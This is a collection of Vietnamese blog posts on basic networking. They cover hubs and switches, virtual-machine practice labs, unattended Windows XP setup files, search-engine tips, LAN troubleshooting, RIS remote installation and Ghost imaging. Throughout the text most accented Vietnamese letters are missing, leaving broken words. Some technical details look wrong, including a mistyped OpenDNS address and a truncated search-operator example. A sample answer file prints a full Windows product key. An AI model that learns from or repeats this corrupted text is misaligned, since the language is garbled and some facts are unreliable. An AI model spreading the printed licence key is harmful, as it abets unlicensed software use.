Vn hn ch khi dng cp mng cho l bn khng th thm hay bt mt my tnh khc no ngoi hai my c kt ni. Do tt hn so vi cp cho, hu ht mi mng u s dng cp Ethernet thng thng khng c cc dy gi v nhn ngc nhau cui u ni. Tt nhin cc dy gi v nhn phi ngc nhau mt s im no qu trnh truyn thng c thc hin thnh cng. y l cng vic ca mt hub hoc switch. Hub cng ang tr nn li thi nhng chng ta vn nn ni n chng. V hiu v hub s gip bn bn d dng hn nhiu khi ni ti switch. C mt s kiu hub khc nhau nhng thng thng ni n hub tc l ni n mt ci hp vi mt b cng RJ-45. Mi my tnh trong mng s c kt ni ti mt hub thng qua cp Ethernet. Bn c th thy mt hub c hnh dng nh trong hnh C. Hnh 3: Hub l thit b hot ng nh mt im kt ni trung tm cho cc my tnh trong mt mng. Hub c hai nhim v khc nhau. Nhim v th nht l cung cp mt im kt ni trung tm cho tt c my tnh trong mng. Mi my tnh u c cm vo hub. Cc hub a cng c th c t xch li nhau nu cn thit cung cp thm cho nhiu my tnh. Nhim v khc ca hub l sp xp cc cng theo cch nu mt my tnh thc hin truyn ti d liu, d liu phi c gi qua dy nhn ca my tnh khc. Ngay by gi c th bn s t hi, lm sao d liu c th n c ng ch cn n nu nhiu hn hai my tnh c kt ni vo mt hub? B mt nm trong card mng. Mi card Ethernet u c cung cp mt a ch vt l MAC (Media Access Control) duy nht. Khi mt my tnh trong mng Ethernet truyn ti d liu qua mng c cc my PC kt ni vi mt hub, thc t d liu c gi ti mi my c trong mng. Tt c my tnh u nhn d liu, sau so snh a ch ch vi a ch vt l MAC ca n. Nu khp, my tnh s bit rng n chnh l ngi nhn d liu, nu khng n s l d liu i. Nh bn c th thy, khi mt my tnh c kt ni qua mt hub, mi gi tin u c gi ti tt c my tnh trong mng. Vn l my tnh no cng c th gi thng tin i ti bt c thi gian no. Bn tng thy mt cuc hp m trong tt c thnh vin tham d u bt u ni cng mt lc? Vn ca kiu mng ny chnh l nh th. Khi mt my tnh cn truyn d liu, n kim tra xem liu c my no khc ang gi thng tin ti cng thi im khng. Nu ng truyn ri, n truyn cc d liu cn thit. Nu c mt mt my khc ang s dng
ng truyn, cc gi tin ca d liu ang c chuyn qua dy s xung t v b ph hu (y chnh l l do v sao kiu mng ny i khi c gi l tn min xung t). C hai my tnh sau s phi ch trong mt khong thi gian ngu nhin v c gng truyn li cc gi tin b ph hu ca mnh. S lng my tnh trn tn min xung t ngy cng tng khin s lng xung t cng tng. Do s lng xung t ngy cng tng nn hiu qu ca mng ngy cng gim. l l do v sao by gi gn nh switch thay th ton b hub. Mt switch (bn c th xem trn hnh D), thc hin tt c mi nhim v ging nh ca mt hub. im khc nhau ch l ch, khi mt PC trn mng cn lin lc vi my tnh khc, switch s dng mt tp hp cc knh logic ni b thit lp ng dn logic ring bit gia hai my tnh. C ngha l hai my tnh hon ton t do lin lc vi nhau m khng cn phi lo lng v xung t. Hnh 4: Switch trng ging ht nh hub nhng hot ng khc hn nhiu. Switch thc s nng cao c ng k hiu qu ca mng. Bi chng loi tr xung t v cn nhiu hn th, chng c th thit lp cc ng dn truyn thng song song. Chng hn khi my tnh A ang lin lc vi my tnh B th khng c l do g my tnh C khng ng thi lin lc vi my tnh D. Trong mt tn min xung t (collision domain), cc kiu truyn thng song song ny l khng th bi v chng s dn n xung t. Kt lun Trong bi ny chng ta tho lun v mt s thnh phn c bn to mt mng n gin. Trong phn hai chng ta vn s tip tc quan tm n cc thit b phn cng mng c bn. Xin mi cc bn tip tc n xem phn sau. Theo Networking http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=371&Itemid=113 c ng bi haodalat ti 5:39 CH 0 nhn xet Nhan: co ban ve Mang may tinh, NETWORK
Xy dng h thng mng thc hnh Microsoft ti nh bng cng ngh o ho
Trc y khi mun c mt h thng mng c bn trn nn Microsoft ti nh thc hnh th phi c t nht 2 my tnh c ni mng vi nhau trong mt my ng vai tr my trm v mt my ng vai tr my ch cn nu mun lm nhng bi thc hnh ln hn th phi c nhiu hn 3 my tnh v mt switch ni chng li.
Do vy a phn chng ta gp kh khn nhiu trong vic thc hnh v t ai nh c trn 2 my tnh.Vi s pht trin ca cng ngh phn cng v phn mm ngy nay chng ta hon ton c th dng mt h thng mng nh mong mun trn mt my tnh duy nht bng cng ngh o ho.Sau bi vit ny bn s c trang b nhng kin thc v thng tin cn thit c th xy dng mt phng thc hnh Microsoft mini nh Trc khi i c th vo cch xy dng h thng mng thc hnh chng ta tm hiu qua mt cht v cng ngh o ho.Cng ngh o ho l cng ngh gip ta tn dng hiu qu hn sc mnh ca phn cng bng cch ct chung ra thnh nhng phn cng o ph hp theo yu cu. Ngoi ra o ho cng cho php ta gom nhiu phn cng li thnh mt phn cng o c cu hnh cao hn cho php ta c th s dng hiu qu v uyn chuyn hn sc mnh ca phn cng tht. o ho c th chia ra lm hai loi chnh l o ho bng phn cng v o ho bng phn mm. o ho bng phn cng ta cn nhng thit b cho php o ho nhng chng li kh t tin v khng thng dng. Cn o ho bng phn mm th ta c cc phn mm cho php thc thi o ho nh Microsoft Virtual PC 2007 hay Virtual Server 2007 hon ton min ph Trc tin c th chy c mt h thng mng thc hnh trn nn Microsoft th bn cn chun b cho mnh mt my tnh c cu hnh theo cc thng s sau: Mainboard: h tr Ram DDR2 vi bus 800Mhz tr ln CPU: Pentium 4 2.7Ghz tr ln (khuyn co s dng Dual Core) RAM: (s my trm XP x 128Mb) + (s my ch Wins 2k3 x 256Mb) (khuyn co c t 2Gb Ram tr ln ) HDD: 80Gb VGA: onboard 64Mb (khuyn co s dng card ri khng b tht c chai) NIC: 1 card tr ln Mo : Bn nn chn s dng AMD c c gi thnh thp nht nhng tc thc thi khng h km cnh sn phm Intel.Tuy nhin do sn phm AMD kh nng nn bn cn trang b h thng tn nhit ph cho mainboard v CPU Sau khi bn c h thng phn cng sn sng cho o ho, bn cn ci t phn mm o ho Microsoft Virtual PC 2007,c th ti min ph ti y. Tip theo xy dng h thng mng thc hnh o bn c hai cch: Cch 1: Xy dng my o t u 1.Khi ng Microsoft Virual PC
2.T File chn New Virtual Machine Wizard 3.Ti ca s mi chn Next,tip theo ta chn Create virtual machine, in tn cho my o v chn Next 4.Trong ca s tip theo ta chn H iu Hnh tng ng cn ci t,ta s thy cc thng s v RAM v HDD tng ng cho my o bn phi 5.Ti ca s tip theo chn Adjusting the RAM thay i dung lng RAM cho my o nu mun.Ta chn Next i tip 6.Ti trang tip theo ta chn A new virtual hard disk 7.Ti trang tip theo ta chn v tr lu tr cc file my o v dung lng cho my o.Thng ta s chn 3Gb cho my o XP v 5Gb cho my o Wins 2k3 8.Ti ca s Virtual PC Console,ta Start my o va cu hnh xong.My o ny s ging nh mt my tnh mi nguyn cha cu hnh a v cha c h iu hnh v vy ta s lm tng t cc bc thc hin trn my tht ci t v cu hnh my o (xem hnh 1)
Cch 2: S dng my o c sn Thi gian gn y Microsoft a ra mt lot my o dng sn cho php chng ta ti min ph v my v ch trong vng vi pht ta c ngay mt h thng mng dng sn.Ta ch cn c qua cc bi thc hnh vit sn trong file nh km l c th nm bt v s dng ngay h thng ny. s dng cc my o dng sn ta lm nh sau 1.Vo trang cung cp my o dng sn ca Microsoft: http://www.microsoft.com/technet/try/vhd/default.mspx 2.Chn sn phm mong mun chng hn nh tng la ISA Server 2006 3.c qua mt s miu t v b my o cho sn phm.Chn Continue. 4.Ti y ta cn phi ng nhp bng mt ti khon Windows Live ID.Nu cha c bn chn nt Sign up now bn tay phi to cho mnh mt ti khon 5.Sau khi ng nhp xong ,bn s chuyn n trang cha cc link download.Tu theo sn phm m dung lng cc my o ln hay nh thng thng vo khong 1Gb n 2Gb 6.Sau khi ti v my bn chy file *.exe bung cc my o ra. C mt s my o khi bung ra chim n 10Gb trn cng 7.Sau khi bung ra xong ta ch cn chy cc file *.vmc l s c ngay mt my
o dng v cu hnh sn.Ta ch cn c qua Read Me v s dng (xem hnh 2 v hnh 3)
Mo: Khi s dng my o ta c th lu li trng thi hin ti ca n v quay tr li trng thi ngay lp tc bng cch khi tt my o ta chn Save State ti hp thoi Close http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=492&Itemid=113 c ng bi haodalat ti 5:23 CH 0 nhn xet Nhan: C TH BN CHA BIT, My o
Ci win khng cn i nhp thng s

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Bn ang ci windows, thng bn r bao i ung nc. i ch, ang ci win m! Th i 1 ting sau v l ci xong ch g. u c, i n hi cdkey, chn thng s na ch. Vic g phi i n. My tao..
Hn s lm g y?. (lc sau) - Xong ri, i ung cafe, v l n t ci xong lun, khng phi nhp g ht! - Sao hay qu vy? Cu tr li l nh sau: Bnh thng khi bn ci th gia chng n s hi cdkey, network settings,. Th th ti sao trc khi ci chng ta khng thit lp sn nhng thng s ri cho n ci 1 lo lun. Trong a ci win c gip chng ta thc hin vic ny. Trong CD, vo Support/Tools/ Deploy.cab. y l mt file nn. Nhp p gii nn, ci setupmgr.exe. Chn: New or existing answer file : Creat new Type of Setup: unattended setup Product: windows XP professional User Interaction: full automated
Distribution Share: set up from a CD. License Agreement: Accept Ca s mi hin ln nhp cc thng s. By gi nhp cc thng s (name, organization, cd key,) vo ri next thi, ci g khng bit th mc nh. Sau khi ci xong th lu li vo mm vi tn WINNT.SIF (ch c rt nhiu format, mnh s hng dn trong cc bi sau). Ti mm s c 2 file: WINNT.SIF v WINNT.BAT. WinNt.bat: l file chy tr li thng s t ng ly ni dung t file winnt.sif. File ny c ni dung: @rem SetupMgrTag @echo off rem rem This is a SAMPLE batch script generated by Setup Manager. rem If this script is moved from the location where it was generated, it may have to be modified. rem set AnswerFile=.\winnt.sif set SetupFiles=D:\i386 D:\i386\winnt32 /s:%SetupFiles% /unattend:%AnswerFile% WINNT.SIF: on cript cha cc thng s c nhp, c ni dung: ;SetupMgrTag [Data] AutoPartition=1 MsDosInitiated=0 UnattendedInstall=Yes [Unattended] Repartition=Yes UnattendMode=FullUnattended OemSkipEula=Yes OemPreinstall=No TargetPath=\WINDOWS [GuiUnattended] AdminPassword=*
EncryptedAdminPassword=NO OEMSkipRegional=1 TimeZone=205 OemSkipWelcome=1 [UserData] ProductKey=JD3T2-QH36R-X7W2W-7R3XT-DVRPQ FullName=TrinhThanhSu OrgName=PTIT ComputerName=THANHSU [TapiLocation] CountryCode=84 [Identification] JoinWorkgroup=WORKGROUP [Networking] InstallDefaultComponents=Yes Ch : Repartition=Yes l mc nh ci v partition u tin. C php ca on cript ny bn tham kho ti file ref.chm (trong DEPLOY.CAB). T bn c th t to th cng 2 file ny bng notepad cng c (nhng d ln, chc n c dng chng trinh ca bc Bill). Sau khi to xong, trong A c 2 file nh trn. nguyn A trong my, cho a CD Windows XP v , khi ng li. By gi my s t ng ci ton b cho n ht m bn khng cn phi nhp g ht. Bn c th th trn my o. Chc cc bn may mn. http://www.blogthuthuat.com/?p=218 c ng bi haodalat ti 2:09 CH 0 nhn xet Nhan: Cai WIN tu dong
Cc site tm kim chuyn bit
21 site tm kim c bit (nhng t c bit n) gip bn tp trung tm kim vi nhng ch chuyn bit: *BoardReader http://www.boardreader.com/
Trung tm thng ip. Tm cc thng ip gi i khp trn web v cc ch nh ngh thut, c, my tnh, th thao, du lch *CompInfo http://www.compinfo-center.com/ c t k thut chuyn su. Khi cn thng tin chi tit v mt cng ngh hay mt thnh phn no mc chuyn su, hy tm y v bn s c kh nhiu thng tin. *CompletePlanet http://www.completeplanet.com/ H thng th mc ca site ny cho php bn truy cp ti hn 100.000 c s d liu v dch v tm kim. *Digital Librarian http://Find.pcworld.com/28001 Site ny cho bn tm nhn ca ngi qun l th vin - cc lin kt tt nht cho c nghin cu chnh thng v khc thng. N cng c ch vi cc ch hn lm. *Dmoz http://www.dmoz.org/ Th mc min ph phn loi cc site ging nh th mc ca Yahoo, nhng khng c qung co v cc lin kt ti tr. *Truy cp GPO http://Find.pcworld.com/27641 Catalog cc n phm ca chnh ph M. *The Invisible Web http://www.invisible-web.net/ Sn tm thng tin. Site ny cung cp a ch URL mt s c s d liu thng tin t c bit n, bao gm nhiu lnh vc nh kinh doanh, lut php, y t,
k thut v mt s d liu c bit khc. *Itools http://www.itools.com/ Th php t ng. Tm kim cc ch nghin cu v cc ng c ngn ng. Bn c th th cng c bin dch vi 15 ngn ng, t in lut php, t in thut ng my tnh, v cn c c t in ng ngha c th gip bn gii cc bi ton ch. *Ixquick http://www.ixquick.com/ Thc hin siu tm kim kt hp nhiu site tm kim ph bin. Bn c th tm trang web, tp tin nhc MP3, tin tc, hnh nh v khng gp phi cc site tr tin m cc cng c siu tm kim khc thng hay lit k. *Lasoo http://www.lasoo.com/ Site ny cho php tm kim thng tin v cc khch sn, ca hng t, hay cc doanh nghip khc trn khp th gii v hin th bn v tr. *MagPortal.com http://www.magportal.com/ Kho tp ch. Bn c th tm kim cc bi bo trong kho t liu khng l ny, hay duyt qua cc mc nh doanh nghip nh hoc tuyn dng. *Pandia Search Central http://www.pandia.com/ Tm kim site tm kim. Cung cp danh sch cc dch v tm kim v h thng th mc thc hin truy vn v hnh nh, tin tc, mua sm, radio trc tuyn, nhm tho lun, v nhng th khc. *Researchville http://www.researchville.com/ Cho php bn tm cc tin tc c bit t bo, i. Bn cng c th i vo cc
site nghin cu v y t, gio dc, v cc mc lin quan n chnh ph. *Kho dch v tm kim http://find.pcworld.com/27642 y bn c th tm thy lin kt ti cc dch v tm kim khu vc hn 196 nc. Bn c th tm theo ch nh ngh thut, tn gio, m nhc *Singingfish http://www.singingfish.com/ Tm kim thng tin quc t v m nhc, phim nh, tin tc v nhiu mc khc. V d nh bn c th nhanh chng tm thy phn nhc phim Moulin Rouge (Bc mn mu ) vi nhiu ngn ng khc nhau. *Thng tin thng k trn web http://Find.pcworld.com/27642 Tm kim thng tin thng k v mi th t tui tc v dng h cho n lu vc sng v sinh vt t nhin. *Switchboard.com http://www.sswitchboard.com/ Site danh b cc doanh nghip M *Teldir.com http://www.eldir.com/ Lin kt ti cc nin gim, danh b, a ch email v s fax t hn 170 nc trn khp th gii. *Vivisimo http://www.vivisimo.com/ Cng c tm kim c bit, khng c qung co v rt hu ch ny truy vn nhiu site tm kim v sp xp kt qu theo loi ti liu l thng ip, bn hay hnh nh. *Vroosh
http://www.vroosh.com/ Site siu tm kim ca Canada cho php bn tm cc ch v tin tc, u gi trc tuyn, tp tin MP3, v sch. Bn cng c th dng cng c tm kim MP3 thn thin ca n m khng b qung co. *Xrefer http://www.xrefer.com/ Site ny l mt b tuyn tp cc sch tham kho, cung cp mi thng tin t cc s kin lch s ngh thut n cc ch khoa hc, thut ng m nhc v c c cc cu trch dn ni ting. http://thuthuat-tinhoc.blogspot.com/search/label/L%C6%B0%E1%BB%9Bt %20%20web ++++++++++++++ Cc mo tm kim vi Google - Xc nh ng t kha cn thit: c c kt qu chnh xc hoc gn mi nhng g mnh cn tm, bn phi chn t kha ph hp v c lin quan vi ni dung cn tm, cng chnh xc cng tt. T kha c th l t m c th xut hin trn website bn cn tm. VD mun tm thng tin v Picasso, hy nhp vo Picasso (khng c ngoc kp) thay v nhp painter (ha s); mun tm trang web c din n v my tnh, hy nhp computer forum thay v nhp the place to discuss about computer. - Bn c nhp ch Unicode vo field tm kim ca Google tm cc thng tin theo ngn ng ca bn ang dng. - Nhp t ngn gn, ko cn cc lin t and. Google t ng tm cc trang web c tt c cc t kho bn nhp vo, bn ko cn thm t and vo gia cc t kha. VD tm cc thng tin lin quan n computer v forum, bn ch cn nhp computer forum thay v l computer and forum. - Google tm kim khng phn bit ch hoa v thng. - Tm theo cc danh mc c sn: bn c th tm thng tin theo cc danh mc Google phn nh sn ti http://directory.google.com/ - Google s loi b cc t thng dng trong cc t kha, vd nh where, how, a, the tng tc tm kim. Do nu bn mun kt qu c cc t ny, hy thm khong trng v du cng + trc t kha , vd: computer +how. Nu bn mun tm chnh xc 1 chui no , hy thm
ngoc kp cho on , vd: where are you - Tng t trn khi bn mun tm kim 1 trang web no theo t kha yu cu nhng li ko mun xut hin t kha no , bn c th dng du tr -. VD bn mun tm cc din n my tnh nhng khng c ni v hacking, bn c th dng t kha computer forum -hack - Tm kim vi OR: Google cho php dng t kha OR (ch hoa) gia cc t kha cn tm tm cc thng tin xut hin t nht 1 t kho. VD tm ni dung computer OR forum, kt qu s cho ra cc trang c t nht 1 t kho computer hoc forum hoc c c hai. - Tm gii hn theo tn min (domain): Nu bn mun tm thng tin trong 1 website c th no , hy dng t kha site:URL. VD tm thng tin v chng trnh CuteFTP trong trang www.download.com , bn nhp cuteftp :www.download.com - Tm kim cc trang thng tin c lin kt n trang bn cn, bn dng t kha link:URL. VD bn tm cc trang web c lin kt n trang www.microsoft.com , bn nhp nh sau: link:www.microsoft.com - Tm thng tin trong cc tp d liu theo kiu tp c th, bn dng t kha filetype:phn_m_rng. VD mun tm cc thng tin computer trong cc file c kiu PDF, bn nhp nh sau: computer filetype:pdf - T kha related:URL" cho php tm cc trang web c thng tin tng t 1 trang web no . VD tm trang tng t trang www.google.com , bn nhp t kha related:www.google.com - T kha info:URL s tm cc thng tin lin quan v 1 trang web no . VD bn nhp info:www.google.com s xut cc thng tin v trang www.google.com - T kha allintitle:t_kha s tm cc trang web c tiu c ch ra sau du 2 chm. VD mun tm cc trang web c tiu computer, bn dng allintitle:computer - T kha intitle:t_kha_1 t_kha_2 s tm cc trang web c tiu bt buc c cha t_kha_1 v ni dung hoc tiu c cha t_kha_2. VD intitle:google search s tm cc trang web c tiu cha t google v ni dung c t search - T kha allinurl:cc_t_kha s tm cc trang web c a ch URL bt buc cha cc t kha ch nh. VD bn tm allinurl:pcwvn s cho ra cc trang web c a ch cha t pcwvn
- T kha inurl:t_kha_1 t_kha_2 s tm cc trang web c a ch URL bt buc cha t_kha_1 v ni dung trang web cha t_kha_2. VD bn tm inurl:pcwvn news s cho ra cc trang web c a ch cha t pcwvn v ch n phn news. Bn c th tm hiu thm thng tin tm kim ti http://www.google.com.vn/intl/vi/help.html c ng bi haodalat ti 2:04 CH 0 nhn xet Nhan: TimKiem
Li v khc phc li mng
My tnh c quan ca bn t nhin khng vo c mng, hoc mt kt ni, khng nhn thy cc my tnh khc cng nh cc d liu chia s hay khng th kt ni vi my in ca mng ni b. Gi i h tr k thut th khng phi lc no cng c mt ngay... "x l" c nhng vn ny, bn c th thc hin cc th thut di y. Khng hin th cc my tnh trong cng mng Trong nhiu trng hp, cc s c v chia s file trong mng xut pht t li Workgroup v cch t tn my tnh. Hy m bo rng mi my tnh c mt tn duy nht; nhiu my tnh c cng mt tn, v d nh Dell hoc Desktop c th l nguyn nhn dn n vn ny. Khng s dng du cch trong khi t tn my tnh (v d: Windows ME, Mai Linh), v khng to ra tn c trn 15 k t. Ngoi ra, hy m bo rng tt c cc my tnh trong mng s dng tn workgroup ging nhau. Tn workgroup mc nh trong Windows XP Home l 'MSHome'; trong Windows phin bn sau ny v trong Windows Vista l 'Workgroup'. thay i workgroup hay tn my tnh, trc tin kch chut vo nt Start ->Control Panel -> System v chn tab Computer Name (Tn my tnh). Mt kt ni Thng thng li ny c th c gii quyt bng cch khi ng li modem di bng tn, router mng, v/hoc my tnh. Nu nh bn phi lp i lp li thao tc ny th rt c th li ny xut pht t ci t my tnh v router. Trc tin, hy ko di thi gian DHCP- Giao thc cu hnh Host ng (thi gian router lu tr a ch IP ca thit b trong mng) trong vng t nht mt tun. Bn c th thc hin vic ci t ny nh truy cp trang web ca cng ty phn mn. Nu laptop b mt kt ni, hy kim tra ch ci t qun l ngun i vi adapter mng. Trong h iu hnh Windows XP, hy truy cp vo trang Web v Adapter ca nh qun l, tm n adapter tng ng vi ca bn v chn Properties. Di tab Qun l Ngun, b du tch trong hp c chc nng tt
ngun ca bn. Vic lm ny c th khin pin ca bn i hao mn i cht t nhng ngc li, kt ni mng s n nh. Dch v DNS cng l nguyn nhn dn n mt kt ni mng. My ch DNS l my tnh m ISP ca bn lu d liu dng dch nhng URLs n l sang a ch IP tng ng trong mng Internet. Nu nh bn nhn c thng bo rng khng th tm c trang Web hoc khng th truy cp c a ch email , th hy s dng my ch DNS ti OpenDNS.com thay th ISP ca bn. lm c vic ny, trc ht bn truy cp vo ch ci t mng WAN trong mc router ti trnh duyt Web ca cng ty phn mn; sau thay i a ch IP cho DNS sang 208.67.222.222 v 208.67.222.220. Bc tng la lm mt kt ni Nu nh bc tng la trong h iu hnh Windows Vista vn c nh gi cao th bc tng la ca h iu hnh Windows XP vn tn ti nhng thiu khuyt. Gii php cho vn ny l hy s dng cng c tin ch th ba, ZoneAlarm's Trusted Zone cho php cc my tnh trong workgroup giao tip vi nhau. Ngoi ra, bn cn c th s dng phn mn chng trnh Network Magic dng qun l vic chia s file v my in trong mng. Phin bn Network Magic min ph cho php bn sa kt ni mng v bo v kt ni khng dy, tuy nhin ch nhng phin bn tr tin tch hp chc nng qun l v chia s my in v file. Nng mc bo mt ln cao nht. Cch duy nht m bo an ton cho mng l ngn my tnh khng tip xc vi "th gii bn ngoi". Khng truy cp Web, khng email...vv. Tuy nhin, bn c th trnh c bin php hi hu trn nu nh thc hin cc bin php an ton trong khi s dng mng nh. Khng m hoc truy cp vo nhng file, trang web ng nghi. i vi bo mt trong mng dng chung, hy s dng mng ring o m ho ton b vic lu thng mng internet gia my tnh ca bn v my ch trung gian. Cc cng ty thng chy trn my ch VPN; Tip theo, khi ci t Wi-Fi, hy tt b ch mng "ad hoc" v ngn khng cho t ng kt ni ti mng khng c u tin. Trong h iu hnh Win XP, bn c th chuyn ton b cc ch ny bng cch kch chut vo biu tng Wi-Fi trong h thng v chn mc Thay i ch ci t nng cao. Di tab Wireless Networks, kch chut vo nt AdvancedAccess point networks only. Cui cng, ngt b ch t ng kt ni vi mng khng c u tin.
Trong h iu hnh Windows Vista, ngt thuc tnh Vista Network Discovery (ch cho php cc my tnh nhn thy my tnh ca bn trong mng) nu nh my tnh ca bn nm trong khu vc nguy him. Theo MSN http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=493&Itemid=113 c ng bi haodalat ti 1:53 CH 0 nhn xet Nhan: NETWORK, wifi, WIRELESS
Hng dn ci Windows t xa qua mng LAN

Dt vn : Cng ty bn c khong 100 my, bn hin c 1 a CD ci win. By gi bn phi setup ton b h thng mng ca cng ty. Nu nh bnh thng th bn phi ci ln lt trn 100 my. Mi my mt khong 1 gi. Nh vy th bn mt khong 100 gi ci xong h thng!! Nu bn mun nhanh khng dng cch th phi mua 100 ci a ci ri ci mt lc!! Cch u th mt thi gian cn cch th hai th tt tin cho 100 a. Tin thoi lng nan Gii php no cho vn ny? C kin rng: ti dng file ghost c sn!! Th nhng nu 100 my c cu hnh khng ging nhau th sao dng ghost c? (Tht ra cng c cch to ghost nhn mi cu hnh tuy nhin bi vit ny tm thi xem nh chng ta cha bit cch to, S s post bi sau). Chnh v l do , Microsoft tch hp trong h thng ca h mt cch ci t rt hay l ci windows t xa qua mng LAN hay cn c bit n vi cc tn RIS (Remote Installation Services). Vi cch ny, pha Client khng cn c CD cng ci c v n ci qua mng m. Phng php RIS cn 2 thnh phn: Server v Client: Server chy dch v ci t t xa RIS v cung cp file ci t cho Client khi c yu cu t pha Client. Qu trnh ci t t pha Client c thc hin t ng t khu tm kim server cung cp ngun ci t, ti file v v thc hin ci t t ng. RIS c s kt hp ca 1 nh c bn (cc file ngun) ca kiu ci t nhn bn (Ghost), cng vi ci t bng dng lnh. Do vy, cch ny cho php ci t trn nhiu cu hnh phn cng khc nhau. Vic ci t bng RIS s gim thiu nhiu cng sc v thi gian ca ngi qun tr, nhng b li bn phi lm vic kh vt v v vic cu hnh RIS kh phc tp. iu kin thc hin
Server: * Server phi chy h iu hnh dng cho Server, v d: Win 2000 hay 2003. * Server ci t RIS phi c 2 phn vng khc nhau v phn vng cha cc thng tin v cc nh a phi khc vi phn vng h thng. V d: C ci win, D cha file nh. Lu l Phn vng ci t RIS phi c nh dng theo chun NTFS phin bn 5 tr v sau. * Server phi c nng cp ln Domain. * Ci DHCP Server. * Ci DNS Service (tht ra th khi nng cp ln Domain th t ng s ci dch v DNS lun nn bc ny khng cn lm). * V . a ci win. Client: * C card mng. * H tr boot ROM. y, S dng my o nn c h tr sn Boot ROM, khi phi mua hehe. Thc hin: Trn Server: Nng cp Server t m hnh Workgroup ln Domain. Trong phn chnh a ch ca card mng, chnh DNS v chnh my Server khi nng cp ln domain th ci lun dch v DNS.
Vo Start Program\Run, g lnh dcpromo ri thc hin ln lt nh trong cc hnh: Ni chung nu mi lm quen th mi th bn mc nh next ti thi, ch c mt ch l phi nhp tn domain vo, v d y ti nhp d03tha1.com. Cn li c next ti mc nh.
Sau khi ci xong my s yu cu restart my li.
Sau log on vi ti khon Administrator.
Ci dch v RIS v DHCP: Vo Control Panel\Add Remove Programs\Add Remove Windows Components\ Chn Remote Installation Service. Ngoi ra ci thm DHCP trong Networking Service sau next ti ci. Cu hnh dch v DHCP: M phn cu hnh DHCP Server ln. To Scope mi, scope l dy a ch s cp cho Client. Sau nhp dy a ch cn cung cp: Khi c hp thoi hi c cu hnh Scope Options khng th bn chn No. Ci ny l thm mt s thng tin ph nh Default Gateway, Name Server, Trong phm vi bi ny ta khng cn thit chnh n. Active Scope: Lu : trong m hnh mng domain th DHCP chy th phi Authorize n: Cu hnh dch v RIS: Chn ng dn cha image (Phi nm trn a dnh dng NTFS, cn trng nhiu v khng cng nm trn cng cha win server vd: G:\RemoteInstall). Chn Next. nh du chn vo Respond to client computer (khoan chn Do not respond to unknown client). Next K l chn ni c intallation files (chnh l th mc I386 trn CD window). Next. Chn text m t cho image ca mnh. Next. Finish. i n copy, bc ny ch hi lu, khong 20 n 30 pht ty cu hnh my Server. To a boot mng cho 1 my cha c H iu hnh truyn thng c vi RIS Server, Card mng ca my cn ci t phi c tch hp boot qua mng (PXE), hoc bn dng a mm hay a CD ROM c chc nng Boot t mng. Bn c th hc cch to a boot mng bng chng trnh Symantec Ghost ti http://help.ischool.washington.edu/faqs/12_29_en.html hay ti file to sn ti http://help.ischool.washington.edu/faqs/attachments/29/Ghost8-CD-Boot.zip, gii nn v ghi CD. To a mm boot mng: Vo th mc D:\RemoteInstall\Admin\i386 chy file rbfg.exe to a mm.
To file tr li cho my t ng ci khng cn i nhp thng s. Bc ny bn ngh n bi ci win khng cn i nhp thng s m mnh post trc y nhng tht ra hi khc mt cht. Trong th mc Support ca a ci win, bn copy file Deploy.cab v my, gii nn v chy file setupmgr.exe (next) chn new -> chn Remote intallation service (RIS) chn window m mnh to image lu trn server. Next -> chn Fully automated -> I accept Sau xut hin hp thoi tng bc c nhiu ch ku mnh nhp thng s vo: Cui cng mnh save file ny tn l remboot.sif trong th mc D:\RemoteInstall\Setup\English\Images\WINDOWS\i386 \templates
Phn quyn user c th dng RIS ci window. Start \ Programs \ Administrative tools \ Active Directory Users and Computers To OU (Organization Unit) tn PhongC60 (phng C60), trong to 2 User tn su v tri Khi Client ci qua mng s hi username v password ca user, cho User c quyn ci t xa qua mng LAN th ta phi add user vo nhm Account Operators. Right Cick \ Properties \ tab Member Of \ Add \ Advanced\ Find Now Nhn OK Nhn OK
Xong phn Server! Trn Client: Vo Bios chnh th t boot mng ln u tin hoc nhn F12 vo ch boot t mng. Trng hp my bn khng c boot ROM th bn phi chn boot t a mm hoc a CD trc.
By gi ch vic ngi ch thi! Vy l ch cn 1 a CD v khng phi mt thi
gian ci ln lt trn tng my, ta vn c th ci my t xa qua mng LAN. Sau khi ci xong th Client khng join domain m vn m hnh Workgroup. Chc cc bn thc hin thnh cng! Tc gi: Trnh Thanh S Theo thuthuat.wordpress.com http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=499&Itemid=113 c ng bi haodalat ti 1:42 CH 0 nhn xet Nhan: ci Windows t xa qua mng LAN
Ghost qua mng LAN
Vn l my Client ban u cha c h iu hnh th lm sao bit c my no ang share file ghost m load v. n y ta mi thy c gi tr ca a boot Hiren. Trong boot Hiren c 1 s chng trnh c th cho nh x th mc share t my khc trn mng thnh 1 a trn my mnh t mi trng DOS. iu ny tng t nh map network drive khi ta nhp chut phi v file share vy. Cch thc hin: Trn Server: Ch cn share th mc dng cha file ghost, nh permission quyn Full Control. Trn Client: Dng chng trnh sau trong a boot Hiren Ta c th ghost t my dng IP t cu hnh hoc dng DHCP. V d y mnh cu hnh a ch IP card mng ca Client
Nhn ESC tip tc, i mt cht c hp thoi hin ra hi c load Driver CD khng, bn chn YES. Sau khi c du nhc hin ra, bn g lnh: net use <ng dn UNC n th mc share> Trong :
Tn a cn map: l 1 k t a bt k khng trng vi cc partition trong my. ng dn UNC n th mc share: v d trn my Server tn juniper, bn share mt th mc c tn l thunghiem th ng dn s l \\juniper\thunghiem Sau g lnh Ghost vo chng trnh Ghost ri lm bnh thng. Lc ny trn phn chn a s c thm X do ta mi map trn. Vy l bn truy xut qua mng t mi trng DOS c ri . n y th khi ni chc bn cng bit lm th no ri. Chc bn thc hin thnh cng! http://www.trithuccongdong.com/portal/index.php? option=com_content&task=view&id=500&Itemid=113 c ng bi haodalat ti 1:41 CH 0 nhn xet Nhan: ghost qua mang LAN
Khi qut v NAT

